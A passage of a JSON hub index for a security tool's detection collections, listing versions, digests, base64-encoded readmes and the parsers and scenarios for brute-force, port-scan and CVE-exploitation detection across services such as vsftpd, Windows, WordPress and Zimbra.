"55ad6aac392ac93a0d866522c1fd88ba30c7c4ad99e334a9c46b741f948f27e6", "deprecated": false } }, "long_description": "IyMgVW5pZmkgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBVbmlmaSBnZWFyIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgotIFVuaWZpIHN5c2xvZyBwYXJzZXI6IGBjcm93ZHNlY3VyaXR5L3VuaWZpLWxvZ3NgCi0gRHJvcGJlYXIgcGFyc2VyOiBgY3Jvd2RzZWN1cml0eS9kcm9wYmVhci1sb2dzYAotIFNTSCBicnV0ZWZvcmNlIHNjZW5hcmlvIDogYGNyb3dkc2VjdXJpdHkvc3NoLWJmYAotIElwdGFibGVzIHBhcnNlcjogYGNyb3dkc2VjdXJpdHkvaXB0YWJsZXMtbG9nc2AKLSBQb3J0IHNjYW4gZGV0ZWN0aW9uOiBgY3Jvd2RzZWN1cml0eS9pcHRhYmxlcy1zY2FuLW11bHRpX3BvcnRzYAoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCnNvdXJjZTogc3lzbG9nCmxpc3Rlbl9hZGRyOiAwLjAuMC4wCmxpc3Rlbl9wb3J0OiA0MjQyCmxhYmVsczoKIHR5cGU6IHVuaWZpCmBgYAoKCm5vdGVzIDoKIC0gIFdoaWxlIHRoZSB1bmlmaSBnZWFyIHVzZXMgc3lzbG9nIHRvIHNlbmQgdGhlIGxvZ3MsIHRoZSBmb3JtYXQgaXMgbm9uLWNvbXBsaWFudCB3aXRoIHRoZSBSRkMsIHNvIHlvdSBuZWVkIHRvIHNldCB0aGUgdHlwZSB0byBgdW5pZmlgCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvdW5pZmktbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9kcm9wYmVhci1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvc3NoLWJmCmNvbGxlY3Rpb25zOgogIC0gY3Jvd2RzZWN1cml0eS9pcHRhYmxlcwpkZXNjcmlwdGlvbjogIlVuaWZpIHN1cHBvcnQ6IHN5c2xvZyBwYXJzZXIgKyBwb3J0IHNjYW4gKyBTU0ggQkYgZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIHVuaWZpCiAgLSBzc2gKICAtIGJydXRlZm9yY2UKICAtIGRyb3BiZWFyCiAgLSBwb3J0c2Nhbgo=", "description": "Unifi support: syslog parser + port scan + SSH BF detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/unifi-logs", "crowdsecurity/dropbear-logs" ], "scenarios": [ "crowdsecurity/ssh-bf" ], "collections": [ "crowdsecurity/iptables" ] }, "crowdsecurity/vsftpd": { "path": "collections/crowdsecurity/vsftpd.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7cb60c9ce9772d4dc7227cc415a55114b8f4e3c07e27c17a666e56e11cb04b32", "deprecated": false } }, "long_description": "IyMgVnNGVFBEIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiB0byBkZWZlbmQgVlNGVFBEIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgotIFZTRlRQRCBwYXJzZXI6IGBjcm93ZHNlY3VyaXR5L3ZzZnRwZC1sb2dzYAotIGJydXRlZm9yY2Ugc2NlbmFyaW8gOiBgY3Jvd2RzZWN1cml0eS92c2Z0cGQtYmZgCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvdnNmdHBkLyoubG9nCmxhYmVsczoKICB0eXBlOiB2c2Z0cGQKYGBgCgoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvdnNmdHBkLWxvZ3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS92c2Z0cGQtYmYKZGVzY3JpcHRpb246ICJWU0ZUUEQgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gZnRwCiAgLSBicnV0ZWZvcmNlCg==", "description": "VSFTPD support : logs and brute-force scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/vsftpd-logs" ], "scenarios": [ "crowdsecurity/vsftpd-bf" ] }, "crowdsecurity/whitelist-good-actors": { "path": "collections/crowdsecurity/whitelist-good-actors.yaml", "version": "0.1", "versions": { "0.1": { "digest": "70f9b1723423de3918bfa3f33fa9c266da71c897b6173ff21e2fb73f9a24245e", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIHdoaXRlbGlzdCBhbGwgZ29vZCBhY3RvcnMgOgogLSByZG5zIHRvIHVzZSBpdCBpbiB3aGl0ZWxpc3RzIHRoYXQgbmVlZCByZG5zCiAtIHJkbnMgb2YgYWxsIGdvb2Qgc2VhcmNoIGVuZ2luZSBjcmF3bGVycyAoZ29vZ2xlYm90LCBiaW5nIGV0Yy4uLikKIC0gdHJ1c3RlZCBwYXJ0bmVycyBsaWtlIGNsb3VkZmxhcmU=", "content": "cG9zdG92ZXJmbG93czoKICAtIGNyb3dkc2VjdXJpdHkvc2VvLWJvdHMtd2hpdGVsaXN0CiAgLSBjcm93ZHNlY3VyaXR5L2Nkbi13aGl0ZWxpc3QKICAtIGNyb3dkc2VjdXJpdHkvcmRucwpkZXNjcmlwdGlvbjogIkdvb2QgYWN0b3JzIHdoaXRlbGlzdHMiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gd2hpdGVsaXN0CiAgLSBib3RzCiAgLSBwYXJ0bmVycwo=", "description": "Good actors whitelists", "author": "crowdsecurity", "labels": null, "postoverflows": [ "crowdsecurity/seo-bots-whitelist", "crowdsecurity/cdn-whitelist", "crowdsecurity/rdns" ] }, "crowdsecurity/windows": { "path": "collections/crowdsecurity/windows.yaml", "version": "0.1", "versions": { "0.1": { "digest": "dca4187a260a723cfc7d47246cccfadab4249adca84f9e8b0cff7727f4503ae9", "deprecated": false } }, "long_description": "IyMgV2luZG93cyBjb2xsZWN0aW9uCgpUaGlzIGNvbGxlY3Rpb24gaW5zdGFsbHMgYSBwYXJzZXIgZm9yIHdpbmRvd3MgZXZlbnQgbG9ncyArIGZsYXQgZmlsZSwgYW5kIGEgcGFyc2VyL3NjZW5hcmlvIGZvciBhdXRoIGJydXRlZm9yY2UK", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvd2luZG93cy1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtYXV0aAogIC0gY3Jvd2RzZWN1cml0eS9nZW9pcC1lbnJpY2gKICAtIGNyb3dkc2VjdXJpdHkvZGF0ZXBhcnNlLWVucmljaApzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtYmYKZGVzY3JpcHRpb246ICJjb3JlIHdpbmRvd3Mgc3VwcG9ydCA6IHdpbmRvd3MgZXZlbnQgbG9nICsgYmYgZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIHdpbmRvd3MKCg==", "description": "core windows support : windows event log + bf detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/windows-logs", "crowdsecurity/windows-auth", "crowdsecurity/geoip-enrich", "crowdsecurity/dateparse-enrich" ], "scenarios": [ "crowdsecurity/windows-bf" ] }, "crowdsecurity/windows-cve": { "path": "collections/crowdsecurity/windows-cve.yaml", "version": "0.2", "versions": { "0.1": { "digest": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "deprecated": false }, "0.2": { "digest": "64a28a68af069438de9f54c6f31ffebf289d9bfe246bc42c06ef4228f65fa808", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIG9mIHdpbmRvd3Mgc3BlY2lmaWMgQ1ZFcyA6CgogLSBbTVNEVCBDVkUtMjAyMi0zMDE5MF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjItMzAxOTApCgoKOndhcm5pbmc6IFRoaXMgY29sbGVjdGlvbiByZXF1aXJlcyBhIHdvcmtpbmcgW3N5c21vbl0oaHR0cHM6Ly9kb2NzLm1pY3Jvc29mdC5jb20vZW4tdXMvc3lzaW50ZXJuYWxzL2Rvd25sb2Fkcy9zeXNtb24pIGluc3RhbGxhdGlvbi4gVGhpcyBpcyBzdGlsbCBhIHByb29mLW9mLWNvbmNlcHQsIGFuZCB3aWxsIGdhaW4gbW9yZSBzY2VuYXJpb3Mgb3ZlciB0aW1lLgoKRXhhbXBsZSBhY3F1aXNpdGlvbiBjb25maWc6CmBgYApzb3VyY2U6IHdpbmV2ZW50bG9nCnByZXR0eV9uYW1lOiBzeXNtb24KZXZlbnRfY2hhbm5lbDogIk1pY3Jvc29mdC1XaW5kb3dzLVN5c21vbi9PcGVyYXRpb25hbCIKbGFiZWxzOgogdHlwZTogc3lzbW9uCmBgYA==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvd2luZG93cy1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L3N5c21vbi1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvd2luZG93cy1DVkUtMjAyMi0zMDE5MC1tc2R0CmRlc2NyaXB0aW9uOiAid2luZG93cyBDVkU6IHRyeSB0byBkZXRlY3QgbG9jYWwgQ1ZFIGV4cGxvaXRhdGlvbiBvbiB3aW5kb3dzLiIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSB3aW5kb3dzCiAgLSBsb2NhbAogIC0gZXhwbG9pdAoK", "description": "windows CVE: try to detect local CVE exploitation on windows.", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/windows-logs", "crowdsecurity/sysmon-logs" ], "scenarios": [ "crowdsecurity/windows-CVE-2022-30190-msdt" ] }, "crowdsecurity/windows-firewall": { "path": "collections/crowdsecurity/windows-firewall.yaml", "version": "0.1", "versions": { "0.1": { "digest": "597b15292d86f2aa7df95cc09fb9dc2f7d29aa541727f9704faa1095068889b2", "deprecated": false } }, "long_description": "IyMgV2luZG93cyBmaXJld2FsbCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIHBvcnRzY2FuIGRldGVjdGlvbiB2aWEgd2luZG93cyBmaXJld2FsbCBsb2dzIDoKIC0gV2luZG93cyBmaXJld2FsbCBsb2dzIHBhcnNlcgogLSBtdWx0aSBwb3J0IHNjYW4gZGV0ZWN0aW9uCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gQzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxMb2dGaWxlc1xcRmlyZXdhbGxcXHBmaXJld2FsbC5sb2cKbGFiZWxzOgogIHR5cGU6IHdpbmRvd3MtZmlyZXdhbGwKYGBgCgpub3RlcyA6CiAtIFRoaXMgY29sbGVjdGlvbiB1c2VzIHRoZSBgY3Jvd2RzZWN1cml0eS9pcHRhYmxlcy1zY2FuLW11bHRpX3BvcnRzYCBzY2VuYXJpbyBiZWNhdXNlIHdlIGFyZSBiYWQgYXQgbmFtaW5nIDopIAogLSBCZWNhdXNlIFdpbmRvd3MgZW5hYmxlcyBzdGVhbHRoIG1vZGUgYnkgZGVmYXVsdCwgb25seSBzY2FuIHRhcmdldGVkIHRvIHBvcnQgdGhhdCBoYXZlIGEgbGlzdGVuZXJzIHdpbGwgYmUgbG9nZ2VkLCBzbyB3ZSB3aWxsIHByb2JhYmx5IG1pc3Mgc29tZSBhdHRhY2tzICh3ZSBkbyBOT1QgcmVjb21tYW5kIGRpc2FibGluZyBzdGVhbHRoIG1vZGUpIAo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvd2luZG93cy1maXJld2FsbC1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvaXB0YWJsZXMtc2Nhbi1tdWx0aV9wb3J0cwpkZXNjcmlwdGlvbjogIndpbmRvd3MgZmlyZXdhbGwgc3VwcG9ydCA6IGxvZ3MgYW5kIHBvcnQtc2NhbnMgZGV0ZWN0aW9uIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSB3aW5kb3dzCiAgLSBwb3J0c2NhbgoK", "description": "windows firewall support : logs and port-scans detection scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/windows-firewall-logs" ], "scenarios": [ "crowdsecurity/iptables-scan-multi_ports" ] }, "crowdsecurity/wordpress": { "path": "collections/crowdsecurity/wordpress.yaml", "version": "0.4", "versions": { "0.1": { "digest": "14f428b1d171a092d703478a891db27aaf83a3f6ba99199a3be4a64d193d718d", "deprecated": false }, "0.2": { "digest": "502dde075615e4b98edc705b43d3c3d52de6c0d4e62340b91ab5e8676c916668", "deprecated": false }, "0.3": { "digest": "c342ae222954a731b60b7c72548fe876de791b3722088ae57cee09d2b2fd7028", "deprecated": false }, "0.4": { "digest": "f45c1bb9daec2f8a81e125f75033a3a0198f4eb36c342985f831c77a3057f1bd", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB3b3JkcHJlc3MgYWdhaW5zdCBjb21tb25zIHNjYW5uZXIgYmVoYXZpb3JzIDoKIC0gd3AtbG9naW4ucGhwIGJydXRlZm9yY2UgZGV0ZWN0aW9uCiAtIHdwLWNvbmZpZy5waHAgcHJvYmluZwogLSBhdXRob3IgZW51bWVyYXRpb24KCg==", "content": "c2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9odHRwLWJmLXdvcmRwcmVzc19iZgogIC0gY3Jvd2RzZWN1cml0eS9odHRwLXdvcmRwcmVzc193cGNvbmZpZwogIC0gY3Jvd2RzZWN1cml0eS9odHRwLXdvcmRwcmVzc191c2VyLWVudW0KZGVzY3JpcHRpb246ICJ3b3JkcHJlc3M6IEJydXRlZm9yY2UgcHJvdGVjdGlvbiBhbmQgY29uZmlnIHByb2JpbmciCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHdvcmRwcmVzcwogIC0gYnJ1dGVmb3JjZQoK", "description": "wordpress: Bruteforce protection and config probing", "author": "crowdsecurity", "labels": null, "scenarios": [ "crowdsecurity/http-bf-wordpress_bf", "crowdsecurity/http-wordpress_wpconfig", "crowdsecurity/http-wordpress_user-enum" ] }, "firewallservices/lemonldap-ng": { "path": "collections/firewallservices/lemonldap-ng.yaml", "version": "0.1", "versions": { "0.1": { "digest": "c7ee2139e599aa59a56e0db3b1946470426b0c766978d6dbc2cc8a76e8e22e4b", "deprecated": false } }, "content": "c2NlbmFyaW9zOgogIC0gZmlyZXdhbGxzZXJ2aWNlcy9sZW1vbmxkYXAtbmctYmYKcGFyc2VyczoKICAtIGZpcmV3YWxsc2VydmljZXMvbGVtb25sZGFwLW5nCmRlc2NyaXB0aW9uOiAiTGVtb25sZGFwOjpORyBzdXBwb3J0IDogcGFyc2VyIGFuZCBicnV0ZWZ1cmNlIGRldGVjdGlvbiIKYXV0aG9yOiBmaXJld2FsbHNlcnZpY2VzCnRhZ3M6CiAgLSBsaW51eAogIC0gYnJ1dGVmb3JjZQo=", "description": "Lemonldap::NG support : parser and brutefurce detection", "author": "firewallservices", "labels": null, "parsers": [ "firewallservices/lemonldap-ng" ], "scenarios": [ "firewallservices/lemonldap-ng-bf" ] }, "firewallservices/pf": { "path": "collections/firewallservices/pf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d549e7f67cffe712b081a9467a84f94f9a57a3852a369e68d079b61eba83c264", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRldGVjdCBwb3J0IHNjYW4gb24gUGZTZW5zZSAvIEZyZWVCU0QK", "content": "c2NlbmFyaW9zOgogIC0gZmlyZXdhbGxzZXJ2aWNlcy9wZi1zY2FuLW11bHRpX3BvcnRzCnBhcnNlcnM6CiAgLSBmaXJld2FsbHNlcnZpY2VzL3BmLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZXIgYW5kIHNjZW5hcmlvIGZvciBQYWNrZXQgRmlsdGVyIGxvZ3MiCmF1dGhvcjogZmlyZXdhbGxzZXJ2aWNlcwp0YWdzOgogIC0gZmlyZXdhbGwKICAtIHBmc2Vuc2UKICAtIGZyZWVic2QKICAtIHBvcnRzY2FuCg==", "description": "Parser and scenario for Packet Filter logs", "author": "firewallservices", "labels": null, "parsers": [ "firewallservices/pf-logs" ], "scenarios": [ "firewallservices/pf-scan-multi_ports" ] }, "firewallservices/zimbra": { "path": "collections/firewallservices/zimbra.yaml", "version": "0.1", "versions": { "0.1": { "digest": "23dcbf45a7677927d72361f7d0d0210763fd1e4bc019c276b98092966ab14b5c", "deprecated": false } }, "long_description": "IyMgWmltYnJhIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiB0byBwYXJzZSBaaW1icmEncyBsb2dzIGFuZCBkZXRlY3QgYnJ1dCBmb3JjZSBvbiB0aGUgZm9sbG93aW5nIHNlcnZpY2VzCi0gd2ViIGF1dGhlbnRpY2F0aW9uIGZvcm0KLSBTTVRQCi0gSU1BUAoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC9vcHQvemltYnJhL2xvZy9tYWlsYm94LmxvZwpsYWJlbHM6CiAgdHlwZTogemltYnJhCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGZpcmV3YWxsc2VydmljZXMvemltYnJhLWxvZ3MKc2NlbmFyaW9zOgogIC0gZmlyZXdhbGxzZXJ2aWNlcy96aW1icmEtYmYKZGVzY3JpcHRpb246ICJ6aW1icmEgc3VwcG9ydCA6IHBhcnNlciBhbmQgc3BhbW1lciBkZXRlY3Rpb24iCmF1dGhvcjogZmlyZXdhbGxzZXJ2aWNlcwp0YWdzOgogIC0gbGludXgKICAtIHNwYW0KICAtIGJydXRlZm9yY2UKICAtIHppbWJyYQo=", "description": "zimbra support : parser and spammer detection", "author": "firewallservices", "labels": null, "parsers": [ "firewallservices/zimbra-logs" ], "scenarios": [ "firewallservices/zimbra-bf" ] }, "fulljackz/proxmox": { "path": "collections/fulljackz/proxmox.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a671536baca4ae612eede90a29e39e7079a03d4d16fea9a534fab79c50b30deb", "deprecated": false } }, "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGZ1bGxqYWNrei9wcm94bW94LWxvZ3MKc2NlbmFyaW9zOgogIC0gZnVsbGphY2t6L3Byb3htb3gtYmYKZGVzY3JpcHRpb246ICJQcm94bW94IFdlYiBpbnRlcmZhY2Ugc3VwcG9ydCA6IHBhcnNlciBmb3IgYnJ1dGUgZm9yY2UgZGV0ZWN0aW9uIG9uIFByb3htb3ggVkUgV2ViIFVJIgphdXRob3I6IGZ1bGxqYWNregp0YWdzOgogIC0gUHJveG1veCAKICAtIGJydXRlZm9yY2UKCg==", "description": "Proxmox Web interface support : parser for brute force detection on Proxmox VE Web UI", "author": "fulljackz", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "fulljackz/proxmox-logs" ], "scenarios": [ "fulljackz/proxmox-bf" ] }, "fulljackz/pureftpd": { "path": "collections/fulljackz/pureftpd.yaml", "version": "0.1", "versions": { "0.1": { "digest": "efffdc3d30f38ea0e236f6fe55d0997b046ab25f44bef64fbf37ab5fb9b184ed", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBQVVJFRlRQRCBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKLSBQVVJFRlRQRCBwYXJzZXI6IGBmdWxsamFja3ovcHVyZWZ0cGQtbG9nc2AKLSBicnV0ZWZvcmNlIHNjZW5hcmlvIDogYGZ1bGxqYWNrei9wdXJlZnRwZC1iZmAK", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGZ1bGxqYWNrei9wdXJlZnRwZC1sb2dzCnNjZW5hcmlvczoKICAtIGZ1bGxqYWNrei9wdXJlZnRwZC1iZgpkZXNjcmlwdGlvbjogIlB1cmVmdHBkIHN1cHBvcnQgOiBwYXJzZXIgZm9yIGJydXRlIGZvcmNlIGRldGVjdGlvbiBvbiBQdXJlZnRwZCIKYXV0aG9yOiBmdWxsamFja3oKdGFnczoKICAtIFB1cmVmdHBkCiAgLSBicnV0ZWZvcmNlCgo=", "description": "Pureftpd support : parser for brute force detection on Pureftpd", "author": "fulljackz", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "fulljackz/pureftpd-logs" ], "scenarios": [ "fulljackz/pureftpd-bf" ] }, "hitech95/nginx-mail": { "path": "collections/hitech95/nginx-mail.yaml", "version": "0.1", "versions": { "0.1": { "digest": "0dd42652366dd9cc2dcdc8bee7977cc45b51fba865796fb699b0bf5ca010d736", "deprecated": false } }, "long_description": "IyMgTmdpbnggTWFpbCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIE5naW54IG1haWwgcHJveHkKICogTmdpbnggTWFpbCBjb3JlIG1vZHVsZSBsb2cgcGFyc2VycwogKiBOZ2lueCBNYWlsIGF1dGggbW9kdWxlIHNjZW5hcmlvIGJydXRlZm9yY2Ugc3BhbSBhdHRlbXB0CgpJdCBpcyByZWNvbW1lbmRlZCBoYXZpbmcgdGhlIGBjcm93ZHNlY3VyaXR5L25naW54YCBjb2xsZWN0aW9uIGluc3RhbGxlZCEKCj4gQ29udHJpYnV0aW9uIGJ5IGh0dHBzOi8vZ2l0aHViLmNvbS9oaXRlY2g5NQoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL25naW54LyoubG9nCiAgLSAuL3Rlc3RzL25naW54L25naW54LmxvZwojdGhpcyBpcyBub3QgYSBzeXNsb2cgbG9nLCBpbmRpY2F0ZSB3aGljaCBraW5kIG9mIGxvZ3MgaXQgaXMKbGFiZWxzOgogIHR5cGU6IG5naW54CmBgYAoKSWYgeW91IGFyZSBydW5uaW5nIE5naW54IGluc2lkZSBkb2NrZXIsIGxpa2UgW21haWx1XShodHRwczovL21haWx1LmlvLyk6CgpgYGB5YW1sCi0tLQpzb3VyY2U6IGRvY2tlcgpjb250YWluZXJfbmFtZTogCiAtICBtYWlsdS1mcm9udApsYWJlbHM6CiAgdHlwZTogbmdpbngKYGBgCgpub3RlcyA6CiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKICAtIGhpdGVjaDk1L25naW54LW1haWwtbG9ncwpzY2VuYXJpb3M6CiAgLSBoaXRlY2g5NS9tYWlsLWdlbmVyaWMtYmYKZGVzY3JpcHRpb246ICJuZ2lueCBlbWFpbCBjb3JlIDogcGFyc2VyIGFuZCBzcGFtbWVyIGRldGVjdGlvbiIKYXV0aG9yOiBoaXRlY2g5NQp0YWdzOgogIC0gbGludXgKICAtIHNwYW0KICAtIGJydXRlZm9yY2UKICAtIGVtYWlsCg==", "description": "nginx email core : parser and spammer detection", "author": "hitech95", "labels": null, "parsers": [ "hitech95/nginx-mail-logs" ], "scenarios": [ "hitech95/mail-generic-bf" ] }, "jusabatier/apereo-cas": { "path": "collections/jusabatier/apereo-cas.yaml", "version": "0.1", "versions": { "0.1": { "digest": "44e11d3facd2d5ff4b39d72367f688a1dc995270dd78b30ca9226e0a0b70ad3f", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBBcGVyZW8gQ0FTIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgoKKiBDQVMgYXVkaXRzIHBhcnNlcgoqIENBUyBicnV0ZWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCiogQ0FTICdzbG93JyBicnV0ZWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGp1c2FiYXRpZXIvYXBlcmVvLWNhcy1hdWRpdC1sb2dzCnNjZW5hcmlvczoKICAtIGp1c2FiYXRpZXIvYXBlcmVvLWNhcy1iZgogIC0ganVzYWJhdGllci9hcGVyZW8tY2FzLXNsb3ctYmYKZGVzY3JpcHRpb246ICJBUEVSRU8tQ0FTIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBqdXNhYmF0aWVyCnRhZ3M6CiAgLSBBcGVyZW8gQ0FTCiAgLSBicnV0ZWZvcmNlCg==", "description": "APEREO-CAS support : parser and brute-force detection", "author": "jusabatier", "labels": null, "parsers": [ "jusabatier/apereo-cas-audit-logs" ], "scenarios": [ "jusabatier/apereo-cas-bf", "jusabatier/apereo-cas-slow-bf" ] }, "lourys/pterodactyl": { "path": "collections/lourys/pterodactyl.yaml", "version": "0.1", "versions": { "0.1": { "digest": "081021627594cbedcd4523e84b910f71f113feb36f3de50acd1474dd94985916", "deprecated": false } }, "long_description": "IyMgUHRlcm9kYWN0eWwgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBwdGVyb2RhY3R5bCBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKIC0gQnJ1dGVmb3JjZSBhZ2FpbnN0IHNmdHAKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9wdGVyb2RhY3R5bC93aW5ncy5sb2cKbGFiZWxzOgogIHR5cGU6IHB0ZXJvZGFjdHlsCmBgYA==", "content": "cGFyc2VyczoKICAtIGxvdXJ5cy9wdGVyb2RhY3R5bC13aW5ncy1sb2dzCmNvbGxlY3Rpb25zOgpzY2VuYXJpb3M6CiAgLSBsb3VyeXMvcHRlcm9kYWN0eWwtd2luZ3MtYmYKZGVzY3JpcHRpb246ICJwdGVyb2RhY3R5bCB3aW5ncyBzdXBwb3J0IDogcGFyc2VyIGFuZCBnZW5lcmljIHdpbmdzIGJydXRlZm9yY2UiCmF1dGhvcjogbG91cnlzCnRhZ3M6CiAgLSBwdGVyb2RhY3R5bAogIC0gd2luZ3MKICAtIGJydXRlLWZvcmNlCg==", "description": "pterodactyl wings support : parser and generic wings bruteforce", "author": "lourys", "labels": null, "parsers": [ "lourys/pterodactyl-wings-logs" ], "scenarios": [ "lourys/pterodactyl-wings-bf" ] }, "mstilkerich/bind9": { "path": "collections/mstilkerich/bind9.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4ee8361d2f94b53c29a518291fbf548d6fdd336c1dee37942d2c305771796957", "deprecated": false } }, "long_description": 